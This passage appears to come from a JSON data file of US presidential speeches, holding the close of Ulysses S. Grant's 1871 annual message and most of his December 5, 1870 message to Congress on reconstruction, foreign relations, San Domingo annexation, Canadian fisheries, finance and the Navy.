in Chicago the most important of the Government buildings\nin that city were consumed. Those burned had already become inadequate to\nthe wants of the Government in that growing city, and, looking to the near\nfuture, were totally inadequate. I recommend, therefore, that an\nappropriation be made immediately to purchase the remainder of the square\non which the burned buildings stood, provided it can be purchased at a fair\nvaluation, or provided that the legislature of Illinois will pass a law\nauthorizing its condemnation for Government purposes; and also an\nappropriation of as much money as can properly be expended toward the\nerection of new buildings during this fiscal year.The number of immigrants ignorant of our laws, habits, etc., coming into\nour country annually has become so great and the impositions practiced upon\nthem so numerous and flagrant that I suggest Congressional action for their\nprotection. It seems to me a fair subject of legislation by Congress. I can\nnot now state as fully as I desire the nature of the complaints made by\nimmigrants of the treatment they receive, but will endeavor to do so during\nthe session of Congress, particularly if the subject should receive your\nattention.It has been the aim of the Administration to enforce honesty and efficiency\nin all public offices. Every public servant who has violated the trust\nplaced in him has been proceeded against with all the rigor of the law. If\nbad men have secured places, it has been the fault of the system\nestablished by law and custom for making appointments, or the fault of\nthose who recommend for Government positions persons not sufficiently well\nknown to them personally, or who give letters indorsing the characters of\noffice seekers without a proper sense of the grave responsibility which\nsuch a course devolves upon them. A civil-service reform which can correct\nthis abuse is much desired. In mercantile pursuits the business man who\ngives a letter of recommendation to a friend to enable him to obtain credit\nfrom a stranger is regarded as morally responsible for the integrity of his\nfriend and his ability to meet his obligations. A reformatory law which\nwould enforce this principle against all indorsers of persons for public\nplace would insure great caution in making recommendations. A salutary\nlesson has been taught the careless and the dishonest public servant in the\ngreat number of prosecutions and convictions of the last two years.It is gratifying to notice the favorable change which is taking place\nthroughout the country in bringing to punishment those who have proven\nrecreant to the trusts confided to them and in elevating to public office\nnone but those who possess the confidence of the honest and the virtuous,\nwho, it will always be found, comprise the majority of the community in\nwhich they live.In my message to Congress one year ago I urgently recommended a reform in\nthe civil service of the country. In conformity with that recommendation\nCongress, in the ninth section of \"An act making appropriations for sundry\ncivil expenses of the Government, and for other purposes,\" approved March\n3, 1871, gave the necessary authority to the Executive to inaugurate a\ncivil-service reform, and placed upon him the responsibility of doing so.\nUnder the authority of said act I convened a board of gentlemen eminently\nqualified for the work to devise rules and regulations to effect the needed\nreform. Their labors are not yet complete, but it is believed that they\nwill succeed in devising a plan that can be adopted to the great relief of\nthe Executive, the heads of Departments, and members of Congress, and which\nwill redound to the true interest of the public service. At all events, the\nexperiment shall have a fair trial.I have thus hastily summed up the operations of the Government during the\nlast year, and made such suggestions as occur to me to be proper for your\nconsideration. I submit them with a confidence that your combined action\nwill be wise, statesmanlike, and in the best interests of the whole\ncountry.U. S. GRANT", 
+    "name": "Ulysses S. Grant"
+}
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+{
+    "date": "December 5, 1870", 
+    "speech": "To the Senate and House of Representatives:A year of peace and general prosperity to this nation has passed since the\nlast assembling of Congress. We have, through a kind Providence, been\nblessed with abundant crops, and have been spared from complications and\nwar with foreign nations. In our midst comparative harmony has been\nrestored. It is to be regretted, however, that a free exercise of the\nelective franchise has by violence and intimidation been denied to citizens\nin exceptional cases in several of the States lately in rebellion, and the\nverdict of the people has thereby been reversed. The States of Virginia,\nMississippi, and Texas have been restored to representation in our national\ncouncils. Georgia, the only State now without representation, may\nconfidently be expected to take her place there also at the beginning of\nthe new year, and then, let us hope, will be completed the work of\nreconstruction. With an acquiescence on the part of the whole people in the\nnational obligation to pay the public debt created as the price of our\nUnion, the pensions to our disabled soldiers and sailors and their widows\nand orphans, and in the changes to the Constitution which have been made\nnecessary by a great rebellion, there is no reason why we should not\nadvance in material prosperity and happiness as no other nation ever did\nafter so protracted and devastating a war.Soon after the existing war broke out in Europe the protection of the\nUnited States minister in Paris was invoked in favor of North Germans\ndomiciled in French territory. Instructions were issued to grant the\nprotection. This has been followed by an extension of American protection\nto citizens of Saxony, Hesse and Saxe-Coburg, Gotha, Colombia, Portugal,\nUruguay, the Dominican Republic, Ecuador, Chile, Paraguay, and Venezuela in\nParis. The charge was an onerous one, requiring constant and severe labor,\nas well as the exercise of patience, prudence, and good judgment. It has\nbeen performed to the entire satisfaction of this Government, and, as I am\nofficially informed, equally so to the satisfaction of the Government of\nNorth Germany.As soon as I learned that a republic had been proclaimed at Paris and that\nthe people of France had acquiesced in the change, the minister of the\nUnited States was directed by telegraph to recognize it and to tender my\ncongratulations and those of the people of the United States. The\nreestablishment in France of a system of government disconnected with the\ndynastic traditions of Europe appeared to be a proper subject for the\nfelicitations of Americans. Should the present struggle result in attaching\nthe hearts of the French to our simpler forms of representative government,\nit will be a subject of still further satisfaction to our people. While we\nmake no effort to impose our institutions upon the inhabitants of other\ncountries, and while we adhere to our traditional neutrality in civil\ncontests elsewhere, we can not be indifferent to the spread of American\npolitical ideas in a great and highly civilized country like France.We were asked by the new Government to use our good offices, jointly with\nthose of European powers, in the interests of peace. Answer was made that\nthe established policy and the true interests of the United States forbade\nthem to interfere in European questions jointly with European powers. I\nascertained, informally and unofficially, that the Government of North\nGermany was not then disposed to listen to such representations from any\npower, and though earnestly wishing to see the blessings of peace restored\nto the belligerents, with all of whom the United States are on terms of\nfriendship, I declined on the part of this Government to take a step which\ncould only result in injury to our true interests without advancing the\nobject for which our intervention was invoked. Should the time come when\nthe action of the United States can hasten the return of peace by a single\nhour, that action will be heartily taken. I deemed it prudent, in view of\nthe number of persons of German and French birth living in the United\nStates, to issue, soon after official notice of a state of war had been\nreceived from both belligerents, a proclamation defining the duties of the\nUnited States as a neutral and the obligations of persons residing within\ntheir territory to observe their laws and the laws of nations. This\nproclamation was followed by others, as circumstances seemed to call for\nthem. The people, thus acquainted in advance of their duties and\nobligations, have assisted in preventing violations of the neutrality of\nthe United States.It is not understood that the condition of the insurrection in Cuba has\nmaterially changed since the close of the last session of Congress. In an\nearly stage of the contest the authorities of Spain inaugurated a system of\narbitrary arrests, of close confinement, and of military trial and\nexecution of persons suspected of complicity with the insurgents, and of\nsummary embargo of their properties, and sequestration of their revenues by\nexecutive warrant. Such proceedings, so far as they affected the persons or\nproperty of citizens of the United States, were in violation of the\nprovisions of the treaty of 1795 between the United States and Spain.Representations of injuries resulting to several persons claiming to be\ncitizens of the United States by reason of such violations were made to the\nSpanish Government. From April, 1869, to June last the Spanish minister at\nWashington had been clothed with a limited power to aid in redressing such\nwrongs. That power was found to be withdrawn, \"in view,\" as it was said,\n\"of the favorable situation in which the island of Cuba\" then \"was,\" which,\nhowever, did not lead to a revocation or suspension of the extraordinary\nand arbitrary functions exercised by the executive power in Cuba, and we\nwere obliged to make our complaints at Madrid. In the negotiations thus\nopened, and still pending there, the United States only claimed that for\nthe future the rights secured to their citizens by treaty should be\nrespected in Cuba, and that as to the past a joint tribunal should be\nestablished in the United States with full jurisdiction over all such\nclaims. Before such an impartial tribunal each claimant would be required\nto prove his case. On the other hand, Spain would be at liberty to traverse\nevery material fact, and thus complete equity would be done. A case which\nat one time threatened seriously to affect the relations between the United\nStates and Spain has already been disposed of in this way. The claim of the\nowners of the Colonel Lloyd Aspinwall for the illegal seizure and detention\nof that vessel was referred to arbitration by mutual consent, and has\nresulted in an award to the United States, for the owners, of the sum of\n$19,702.50 in gold. Another and long-pending claim of like nature, that of\nthe whaleship Canada, has been disposed of by friendly arbitrament during\nthe present year. It was referred, by the joint consent of Brazil and the\nUnited States, to the decision of Sir Edward Thornton, Her Britannic\nMajesty's minister at Washington, who kindly undertook the laborious task\nof examining the voluminous mass of correspondence and testimony submitted\nby the two Governments, and awarded to the United States the sum of\n$100,740.09 in gold, which has since been paid by the Imperial Government.\nThese recent examples show that the mode which the United States have\nproposed to Spain for adjusting the pending claims is just and feasible,\nand that it may be agreed to by either nation without dishonor. It is to be\nhoped that this moderate demand may be acceded to by Spain without further\ndelay. Should the pending negotiations, unfortunately and unexpectedly, be\nwithout result, it will then become my duty to communicate that fact to\nCongress and invite its action on the subject.The long-deferred peace conference between Spain and the allied South\nAmerican Republics has been inaugurated in Washington under the auspices of\nthe United States. Pursuant to the recommendation contained in the\nresolution of the House of Representatives of the 17th of December, 1866,\nthe executive department of the Government offered its friendly offices for\nthe promotion of peace and harmony between Spain and the allied Republics.\nHesitations and obstacles occurred to the acceptance of the offer.\nUltimately, however, a conference was arranged, and was opened in this city\non the 29th of October last, at which I authorized the Secretary of State\nto preside. It was attended by the ministers of Spain, Peru, Chile, and\nEcuador. In consequence of the absence of a representative from Bolivia,\nthe conference was adjourned until the attendance of a plenipotentiary from\nthat Republic could be secured or other measures could be adopted toward\ncompassing its objects.The allied and other Republics of Spanish origin on this continent may see\nin this fact a new proof of our sincere interest in their welfare, of our\ndesire to see them blessed with good governments, capable of maintaining\norder and of preserving their respective territorial integrity, and of our\nsincere wish to extend our own commercial and social relations with them.\nThe time is not probably far distant when, in the natural course of events,\nthe European political connection with this continent will cease. Our\npolicy should be shaped, in view of this probability, so as to ally the\ncommercial interests of the Spanish American States more closely to our\nown, and thus give the United States all the preeminence and all the\nadvantage which Mr. Monroe, Mr. Adams, and Mr. Clay contemplated when they\nproposed to join in the congress of Panama.During the last session of Congress a treaty for the annexation of the\nRepublic of San Domingo to the United States failed to receive the\nrequisite two-thirds vote of the Senate. I was thoroughly convinced then\nthat the best interests of this country, commercially and materially,\ndemanded its ratification. Time has only confirmed me in this view. I now\nfirmly believe that the moment it is known that the United States have\nentirely abandoned the project of accepting as a part of its territory the\nisland of San Domingo a free port will be negotiated for by European\nnations in the Bay of Samana. A large commercial city will spring up, to\nwhich we will be tributary without receiving corresponding benefits, and\nthen will be seen the folly of our rejecting so great a prize. The\nGovernment of San Domingo has voluntarily sought this annexation. It is a\nweak power, numbering probably less than 120,000 souls, and yet possessing\none of the richest territories under the sun, capable of supporting a\npopulation of 10,000,000 people in luxury. The people of San Domingo are\nnot capable of maintaining themselves in their present condition, and must\nlook for outside support. They yearn for the protection of our free\ninstitutions and laws, our progress and civilization. Shall we refuse\nthem?The acquisition of San Domingo is desirable because of its geographical\nposition. It commands the entrance to the Caribbean Sea and the Isthmus\ntransit of commerce. It possesses the richest soil, best and most capacious\nharbors, most salubrious climate, and the most valuable products of the\nforests, mine, and soil of any of the West India Islands. Its possession by\nus will in a few years build up a coastwise commerce of immense magnitude,\nwhich will go far toward restoring to us our lost merchant marine. It will\ngive to us those articles which we consume so largely and do not produce,\nthus equalizing our exports and imports. In case of foreign war it will\ngive us command of all the islands referred to, and thus prevent an enemy\nfrom ever again possessing himself of rendezvous upon our very coast. At\npresent our coast trade between the States bordering on the Atlantic and\nthose bordering on the Gulf of Mexico is cut into by the Bahamas and the\nAntilies. Twice we must, as it were, pass through foreign countries to get\nby sea from Georgia to the west coast of Florida.San Domingo, with a stable government, under which her immense resources\ncan be developed, will give remunerative wages to tens of thousands of\nlaborers not now upon the island. This labor will take advantage of every\navailable means of transportation to abandon the adjacent islands and seek\nthe blessings of freedom and its sequence--each inhabitant receiving the\nreward of his own labor. Porto Rico and Cuba will have to abolish slavery,\nas a measure of self-preservation, to retain their laborers.San Domingo will become a large consumer of the products of Northern farms\nand manufactories. The cheap rate at which her citizens can be furnished\nwith food, tools, and machinery will make it necessary that contiguous\nislands should have the same advantages in order to compete in the\nproduction of sugar, coffee, tobacco, tropical fruits, etc. This will open\nto us a still wider market for our products. The production of our own\nsupply of these articles will cut off more than one hundred millions of our\nannual imports, besides largely increasing our exports. With such a picture\nit is easy to see how our large debt abroad is ultimately to be\nextinguished. With a balance of trade against us (including interest on\nbonds held by foreigners and money spent by our citizens traveling in\nforeign lands) equal to the entire yield of the precious metals in this\ncountry, it is not so easy to see how this result is to be otherwise\naccomplished.The acquisition of San Domingo is an adherence to the \"Monroe doctrine;\" it\nis a measure of national protection; it is asserting our just claim to a\ncontrolling influence over the great commercial traffic soon to flow from\nwest to east by way of the Isthmus of Darien; it is to build up our\nmerchant marine; it is to furnish new markets for the products of our\nfarms, shops, and manufactories; it is to make slavery insupportable in\nCuba and Porto Rico at once, and ultimately so in Brazil; it is to settle\nthe unhappy condition of Cuba and end an exterminating conflict; it is to\nprovide honest means of paying our honest debts without overtaxing the\npeople; it is to furnish our citizens with the necessaries of everyday life\nat cheaper rates than ever before; and it is, in fine, a rapid stride\ntoward that greatness which the intelligence, industry, and enterprise of\nthe citizens of the United States entitle this country to assume among\nnations.In view of the importance of this question, I earnestly urge upon Congress\nearly action expressive of its views as to the best means of acquiring San\nDomingo. My suggestion is that by joint resolution of the two Houses of\nCongress the Executive be authorized to appoint a commission to negotiate a\ntreaty with the authorities of San Domingo for the acquisition of that\nisland, and that an appropriation be made to defray the expenses of such a\ncommission. The question may then be determined, either by the action of\nthe Senate upon the treaty or the joint action of the two Houses of\nCongress upon a resolution of annexation, as in the case of the acquisition\nof Texas. So convinced am I of the advantages to flow from the acquisition\nof San Domingo, and of the great disadvantages--I might almost say\ncalamities--to flow from nonacquisition, that I believe the subject has\nonly to be investigated to be approved.It is to be regretted that our representations in regard to the injurious\neffects, especially upon the revenue of the United States, of the policy of\nthe Mexican Government in exempting from impost duties a large tract of its\nterritory on our borders have not only been fruitless, but that it is even\nproposed in that country to extend the limits within which the privilege\nadverted to has hitherto been enjoyed. The expediency of taking into your\nserious consideration proper measures for countervailing the policy\nreferred to will, it is presumed, engage your earnest attention.It is the obvious interest, especially of neighboring nations, to provide\nagainst impunity to those who may have committed high crimes within their\nborders and who may have sought refuge abroad. For this purpose extradition\ntreaties have been concluded with several of the Central American\nRepublics, and others are in progress.The sense of Congress is desired, as early as may be convenient, upon the\nproceedings of the commission on claims against Venezuela, as communicated\nin my messages of March 16, 1869, March 1, 1870, and March 31, 1870. It has\nnot been deemed advisable to distribute any of the money which has been\nreceived from that Government until Congress shall have acted on the\nsubject.The massacres of French and Russian residents at Tien-Tsin, under\ncircumstances of great barbarity, was supposed by some to have been\npremeditated, and to indicate a purpose among the populace to exterminate\nforeigners in the Chinese Empire. The evidence fails to establish such a\nsupposition, but shows a complicity between the local authorities and the\nmob. The Government at Peking, however, seems to have been disposed to\nfulfill its treaty obligations so far as it was able to do so.\nUnfortunately, the news of the war between the German States and France\nreached China soon after the massacre. It would appear that the popular\nmind became possessed with the idea that this contest, extending to Chinese\nwaters, would neutralize the Christian influence and power, and that the\ntime was coming when the superstitious masses might expel all foreigners\nand restore mandarin influence. Anticipating trouble from this cause, I\ninvited France and North Germany to make an authorized suspension of\nhostilities in the East (where they were temporarily suspended by act of\nthe commanders), and to act together for the future protection in China of\nthe lives and properties of Americans and Europeans.Since the adjournment of Congress the ratifications of the treaty with\nGreat Britain for abolishing the mixed courts for the suppression of the\nslave trade have been exchanged. It is believed that the slave trade is now\nconfined to the eastern coast of Africa, whence the slaves are taken to\nArabian markets.The ratifications of the naturalization convention between Great Britain\nand the United States have also been exchanged during the recess, and thus\na long-standing dispute between the two Governments has been settled in\naccordance with the principles always contended for by the United States.In April last, while engaged in locating a military reservation near\nPembina, a corps of engineers discovered that the commonly received\nboundary line between the United States and the British possessions at that\nplace is about 4,700 feet south of the true position of the forty-ninth\nparallel, and that the line, when run on what is now supposed to be the\ntrue position of that parallel, would leave the fort of the Hudsons Bay\nCompany at Pembina within the territory of the United States. This\ninformation being communicated to the British Government, I was requested\nto consent, and did consent, that the British occupation of the fort of the\nHudsons Bay Company should continue for the present. I deem it important,\nhowever, that this part of the boundary line should be definitely fixed by\na joint commission of the two Governments, and I submit herewith estimates\nof the expense of such a commission on the part of the United States and\nrecommend that an appropriation be made for that purpose. The land boundary\nhas already been fixed and marked from the summit of the Rocky Mountains to\nthe Georgian Bay. It should now be in like manner marked from the Lake of\nthe Woods to the summit of the Rocky Mountains.I regret to say that no conclusion has been reached for the adjustment of\nthe claims against Great Britain growing out of the course adopted by that\nGovernment during the rebellion. The cabinet of London, so far as its views\nhave been expressed, does not appear to be willing to concede that Her\nMajesty's Government was guilty of any negligence, or did or permitted any\nact during the war by which the United States has just cause of complaint.\nOur firm and unalterable convictions are directly the reverse. I therefore\nrecommend to Congress to authorize the appointment of a commission to take\nproof of the amount and the ownership of these several claims, on notice to\nthe representative of Her Majesty at Washington, and that authority be\ngiven for the settlement of these claims by the United States, so that the\nGovernment shall have the ownership of the private claims, as well as the\nresponsible control of all the demands against Great Britain. It can not be\nnecessary to add that whenever Her Majesty's Government shall entertain a\ndesire for a full and friendly adjustment of these claims the United States\nwill enter upon their consideration with an earnest desire for a conclusion\nconsistent with the honor and dignity of both nations.The course pursued by the Canadian authorities toward the fishermen of the\nUnited States during the past season has not been marked by a friendly\nfeeling. By the first article of the convention of 1818 between Great\nBritain and the United States it was agreed that the inhabitants of the\nUnited States should have forever, in common with British subjects, the\nright of taking fish in certain waters therein defined. In the waters not\nincluded in the limits named in the convention (within 3 miles of parts of\nthe British coast) it has been the custom for many years to give to\nintruding fishermen of the United States a reasonable warning of their\nviolation of the technical rights of Great Britain. The Imperial Government\nis understood to have delegated the whole or a share of its jurisdiction or\ncontrol of these inshore fishing grounds to the colonial authority known as\nthe Dominion of Canada, and this semi-independent but irresponsible agent\nhas exercised its delegated powers in an unfriendly way. Vessels have been\nseized without notice or warning, in violation of the custom previously\nprevailing, and have been taken into the colonial ports, their voyages\nbroken up, and the vessels condemned. There is reason to believe that this\nunfriendly and vexatious treatment was designed to bear harshly upon the\nhardy fishermen of the United States, with a view to political effect upon\nthis Government. The statutes of the Dominion of Canada assume a still\nbroader and more untenable jurisdiction over the vessels of the United\nStates. They authorize officers or persons to bring vessels hovering within\n3 marine miles of any of the coasts, bays, creeks, or harbors of Canada\ninto port, to search the cargo, to examine the master on oath touching the\ncargo and voyage, and to inflict upon him a heavy pecuniary penalty if true\nanswers are not given; and if such a vessel is found \"preparing to fish\"\nwithin 3 marine miles of any of such coasts, bays, creeks, or harbors\nwithout a license, or after the expiration of the period named in the last\nlicense granted to it, they provide that the vessel, with her tackle, etc.,\nshall be forfeited. It is not known that any condemnations have been made\nunder this statute. Should the authorities of Canada attempt to enforce it,\nit will become my duty to take such steps as may be necessary to protect\nthe rights of the citizens of the United States.It has been claimed by Her Majesty's officers that the fishing vessels of\nthe United States have no right to enter the open ports of the British\npossessions in North America, except for the purposes of shelter and\nrepairing damages, of purchasing wood and obtaining water; that they have\nno right to enter at the British custom-houses or to trade there except in\nthe purchase of wood and water, and that they must depart within\ntwenty-four hours after notice to leave. It is not known that any seizure\nof a fishing vessel carrying the flag of the United States has been made\nunder this claim. So far as the claim is founded on an alleged construction\nof he convention of 1818, it can not be acquiesced in by the United States.\nIt is hoped that it will not be insisted on by Her Majesty's Government.During the conferences which preceded the negotiation of the convention of\n1818 the British commissioners proposed to expressly exclude the fishermen\nof the United States from \"the privilege of carrying on trade with any of\nHis Britannic Majesty's subjects residing within the limits assigned for\ntheir use;\" and also that it should not be \"lawful for the vessels of the\nUnited States engaged in said fishery to have on board any goods, wares, or\nmerchandise whatever, except such as may be necessary for the prosecution\nof their voyages to and from the said fishing grounds: and any vessel of\nthe United States which shall contravene this regulation may be seized,\ncondemned, and confiscated, with her cargo.\"This proposition, which is identical with the construction now put upon the\nlanguage of the convention, was emphatically rejected by the American\ncommissioners, and thereupon was abandoned by the British\nplenipotentiaries, and Article I, as it stands in the convention, was\nsubstituted.If, however, it be said that this claim is founded on provincial or\ncolonial statutes, and not upon the convention, this Government can not but\nregard them as unfriendly, and in contravention of the spirit, if not of\nthe letter, of the treaty, for the faithful execution of which the Imperial\nGovernment is alone responsible.Anticipating that an attempt may possibly be made by the Canadian\nauthorities in the coming season to repeat their unneighborly acts toward\nour fishermen, I recommend you to confer upon the Executive the power to\nsuspend by proclamation the operation of the laws authorizing the transit\nof goods, wares, and merchandise in bond across the territory of the United\nStates to Canada, and, further, should such an extreme measure become\nnecessary, to suspend the operation of any laws whereby the vessels of the\nDominion of Canada are permitted to enter the waters of the United States.A like unfriendly disposition has been manifested on the part of Canada in\nthe maintenance of a claim of right to exclude the citizens of the United\nStates from the navigation of the St. Lawrence. This river constitutes a\nnatural outlet to the ocean for eight States, with an aggregate population\nof about 17,600,000 inhabitants, and with an aggregate tonnage of 661,367\ntons upon the waters which discharge into it. The foreign commerce of our\nports on these waters is open to British competition, and the major part of\nit is done in British bottoms.If the American seamen be excluded from this natural avenue to the ocean,\nthe monopoly of the direct commerce of the lake ports with the Atlantic\nwould be in foreign hands, their vessels on transatlantic voyages having an\naccess to our lake ports which would be denied to American vessels on\nsimilar voyages. To state such a proposition is to refute its justice.During the Administration of Mr. John Quincy Adams Mr. Clay unanswerably\ndemonstrated the natural right of the citizens of the United States to the\nnavigation of this river, claiming that the act of the congress of Vienna\nin opening the Rhine and other rivers to all nations showed the judgment of\nEuropean jurists and statesmen that the inhabitants of a country through\nwhich a navigable river passes have a natural right to enjoy the navigation\nof that river to and into the sea, even though passing through the\nterritories of another power. This right does not exclude the coequal right\nof the sovereign possessing the territory through which the river debouches\ninto the sea to make such regulations relative to the police of the\nnavigation as may be reasonably necessary; but those regulations should be\nframed in a liberal spirit of comity, and should not impose needless\nburdens upon the commerce which has the right of transit. It has been found\nin practice more advantageous to arrange these regulations by mutual\nagreement. The United States are ready to make any reasonable arrangement\nas to the police of the St. Lawrence which may be suggested by Great\nBritain.If the claim made by Mr. Clay was just when the population of States\nbordering on the shores of the Lakes was only 3,400,000, it now derives\ngreater force and equity from the increased population, wealth, production,\nand tonnage of the States on the Canadian frontier. Since Mr. Clay advanced\nhis argument in behalf of our right the principle for which he contended\nhas been frequently, and by various nations, recognized by law or by\ntreaty, and has been extended to several other great rivers. By the treaty\nconcluded at Mayence in 1831 the Rhine was declared free from the point\nwhere it is first navigable into the sea. By the convention between Spain\nand Portugal concluded in 1835 the navigation of the Douro throughout its\nwhole extent was made free for the subjects of both Crowns. In 1853 the\nArgentine Confederation by treaty threw open the free navigation of the\nParana and the Uruguay to the merchant vessels of all nations. In 1856 the\nCrimean War was closed by a treaty which provided for the free navigation\nof the Danube. In 1858 Bolivia by treaty declared that it regarded the\nrivers Amazon and La Plata, in accordance with fixed principles of national\nlaw, as highways or channels opened by nature for the commerce of all\nnations. In 1859 the Paraguay was made free by treaty, and in December,\n1866, the Emperor of Brazil by imperial decree declared the Amazon to be\nopen to the frontier of Brazil to the merchant ships of all nations. The\ngreatest living British authority on this subject, while asserting the\nabstract right of the British claim, says: It seems difficult to deny that\nGreat Britain may ground her refusal upon strict law, but it is equally\ndifficult to deny, first, that in so doing she exercises harshly an extreme\nand hard law; secondly, that her conduct with respect to the navigation of\nthe St. Lawrence is in glaring and discreditable inconsistency with her\nconduct with respect to the navigation of the Mississippi. On the ground\nthat she possessed a small domain in which the Mississippi took its rise,\nshe insisted on the right to navigate the entire volume of its waters. On\nthe ground that she possesses both banks of the St. Lawrence, where it\ndisembogues itself into the sea, she denies to the United States the right\nof navigation, though about one-half of the waters of Lakes Ontario. Erie,\nHuron, and Superior, and the whole of Lake Michigan, through which the\nriver flows, are the property of the United States. The whole nation is\ninterested in securing cheap transportation from the agricultural States of\nthe West to the Atlantic Seaboard. To the citizens of those States it\nsecures a greater return for their labor; to the inhabitants of the\nseaboard it affords cheaper food; to the nation, an increase in the annual\nsurplus of wealth. It is hoped that the Government of Great Britain will\nsee the justice of abandoning the narrow and inconsistent claim to which\nher Canadian Provinces have urged her adherence.Our depressed commerce is a subject to which I called your special\nattention at the last session, and suggested that we will in the future\nhave to look more to the countries south of us, and to China and Japan, for\nits revival. Our representatives to all these Governments have exerted\ntheir influence to encourage trade between the United States and the\ncountries to which they are accredited. But the fact exists that the\ncarrying is done almost entirely in foreign bottoms, and while this state\nof affairs exists we can not control our due share of the commerce of the\nworld; that between the Pacific States and China and Japan is about all the\ncarrying trade now conducted in American vessels. I would recommend a\nliberal policy toward that line of American steamers--one that will insure\nits success, and even increased usefulness.The cost of building iron vessels, the only ones that can compete with\nforeign ships in the carrying trade, is so much greater in the United\nStates than in foreign countries that without some assistance from the\nGovernment they can not be successfully built here. There will be several\npropositions laid before Congress in the course of the present session\nlooking to a remedy for this evil. Even if it should be at some cost to the\nNational Treasury, I hope such encouragement will be given as will secure\nAmerican shipping on the high seas and American shipbuilding at home.The condition of the archives at the Department of State calls for the\nearly action of Congress. The building now rented by that Department is a\nfrail structure, at an inconvenient distance from the Executive Mansion and\nfrom the other Departments, is ill adapted to the purpose for which it is\nused, has not capacity to accommodate the archives, and is not fireproof.\nIts remote situation, its slender construction, and the absence of a supply\nof water in the neighborhood leave but little hope of safety for either the\nbuilding or its contents in case of the accident of a fire. Its destruction\nwould involve the loss of the rolls containing the original acts and\nresolutions of Congress, of the historic records of the Revolution and of\nthe Confederation, of the whole series of diplomatic and consular archives\nsince the adoption of the Constitution, and of the many other valuable\nrecords and papers left with that Department when it was the principal\ndepository of the governmental archives. I recommend an appropriation for\nthe construction of a building for the Department of State.I recommend to your consideration the propriety of transferring to the\nDepartment of the Interior, to which they seem more appropriately to\nbelong, all powers and duties in relation to the Territories with which the\nDepartment of State is now charged by law or usage; and from the Interior\nDepartment to the War Department the Pension Bureau, so far as it regulates\nthe payment of soldiers' pensions. I would further recommend that the\npayment of naval pensions be transferred to one of the bureaus of the Navy\nDepartment.The estimates for the expenses of the Government for the next fiscal year\nare $18,244,346.01 less than for the current one, but exceed the\nappropriations for the present year for the same items $8,972,127.56. In\nthis estimate, however, is included $22,338,278.37 for public works\nheretofore begun under Congressional provision, and of which only so much\nis asked as Congress may choose to give. The appropriation for the same\nworks for the present fiscal year was $11,984,518.08.The average value of gold, as compared with national currency, for the\nwhole of the year 1869 was about 134, and for eleven months of 1870 the\nsame relative value has been about 115. The approach to a specie basis is\nvery gratifying, but the fact can not be denied that the instability of the\nvalue of our currency is prejudicial to our prosperity, and tends to keep\nup prices, to the detriment of trade. The evils of a depreciated and\nfluctuating currency are so great that now, when the premium on gold has\nfallen so much, it would seem that the time has arrived when by wise and\nprudent legislation Congress should look to a policy which would place our\ncurrency at par with gold at no distant day.The tax collected from the people has been reduced more than $80,000,000\nper annum. By steadiness in our present course there is no reason why in a\nfew short years the national tax gatherer may not disappear from the door\nof the citizen almost entirely. With the revenue stamp dispensed by\npostmasters in every community, a tax upon liquors of all sorts and tobacco\nin all its forms, and by a wise adjustment of the tariff, which will put a\nduty only upon those articles which we could dispense with, known as\nluxuries, and on those which we use more of than we produce, revenue enough\nmay be raised after a few years of peace and consequent reduction of\nindebtedness to fulfill all our obligations. A further reduction of\nexpenses, in addition to a reduction of interest account, may be relied on\nto make this practicable. Revenue reform, if it means this, has my hearty\nsupport. If it implies a collection of all the revenue for the support of\nthe Government, for the payment of principal and interest of the public\ndebt, pensions, etc., by directly taxing the people, then I am against\nrevenue reform, and confidently believe the people are with me. If it means\nfailure to provide the necessary means to defray all the expenses of\nGovernment, and thereby repudiation of the public debt and pensions, then I\nam still more opposed to such kind of revenue reform. Revenue reform has\nnot been defined by any of its advocates to my knowledge, but seems to be\naccepted as something which is to supply every man's wants without any cost\nor effort on his part.A true revenue reform can not be made in a day, but must be the work of\nnational legislation and of time. As soon as the revenue can be dispensed\nwith, all duty should be removed from coffee, tea and other articles of\nuniversal use not produced by ourselves. The necessities of the country\ncompel us to collect revenue from our imports. An army of assessors and\ncollectors is not a pleasant sight to the citizen, but that of a tariff for\nrevenue is necessary. Such a tariff, so far as it acts as an encouragement\nto home production, affords employment to labor at living wages, in\ncontrast to the pauper labor of the Old World, and also in the development\nof home resources.Under the act of Congress of the 15th day of July, 1870, the Army has\ngradually been reduced, so that on the 1st day of January, 1871, the number\nof commissioned officers and men will not exceed the number contemplated by\nthat law.The War Department building is an old structure, not fireproof, and\nentirely inadequate in dimensions to our present wants. Many thousands of\ndollars are now paid annually for rent of private buildings to accommodate\nthe various bureaus of the Department. I recommend an appropriation for a\nnew War Department building, suited to the present and growing wants of the\nnation.The report of the Secretary of War shows a very satisfactory reduction in\nthe expenses of the Army for the last fiscal year. For details you are\nreferred to his accompanying report.The expenses of the Navy for the whole of the last year--i.e., from\nDecember 1, 1869, the date of the last report--are less than $19,000,000,\nor about $1,000,000 less than they were the previous year. The expenses\nsince the commencement of this fiscal year--i.e., since July 1--show for\nthe five months a decrease of over $2,400,000 from those of the\ncorresponding months last year. The estimates for the current year were\n$28,205,671.37. Those for next year are $20,683,317, with $955,100\nadditional for necessary permanent improvements. These estimates are made\nclosely for the mere maintenance of the naval establishment as now is,\nwithout much in the nature of permanent improvement. The appropriations\nmade for the last and current years were evidently intended by Congress,\nand are sufficient only, to keep the Navy on its present footing by the\nrepairing and refitting of our old ships.This policy must, of course, gradually but surely destroy the Navy, and it\nis in itself far from economical, as each year that it is pursued the\nnecessity for mere repairs in ships and navy-yards becomes more imperative\nand more costly, and our current expenses are annually increased for the\nmere repair of ships, many of which must soon become unsafe and useless. I\nhope during the present session of Congress to be able to submit to it a\nplan by which naval vessels can be built and repairs made with great saving\nupon the present cost.It can hardly be wise statesmanship in a Government which represents a\ncountry with over 5,000 miles of coast line on both oceans, exclusive of\nAlaska, and containing 40,000,000 progressive people, with relations of\nevery nature with almost every foreign country, to rest with such\ninadequate means of enforcing any foreign policy, either of protection or\nredress. Separated by the ocean from the nations of the Eastern Continent,\nour Navy is our only means of direct protection to our citizens abroad or\nfor the enforcement of any foreign policy.The accompanying report of the Postmaster-General shows a most satisfactory\nworking of that Department. With the adoption of the recommendations\ncontained therein, particularly those relating to a reform in the franking\nprivilege and the adoption of the \"correspondence cards,\" a self-sustaining\npostal system may speedily be looked for, and at no distant day a further\nreduction of the rate of postage be attained.I recommend authorization by Congress to the Postmaster-General and\nAttorney-General to issue all commissions to officials appointed through\ntheir respective Departments. At present these commissions, where\nappointments are Presidential, are issued by the State Department. The law\nin all the Departments of Government, except those of the Post-Office and\nof Justice, authorizes each to issue its own commissions.Always favoring practical reforms, I respectfully call your attention to\none abuse of long standing which I would like to see remedied by this\nCongress. It is a reform in the civil service of the country. I would have\nit go beyond the mere fixing of the tenure of office of clerks 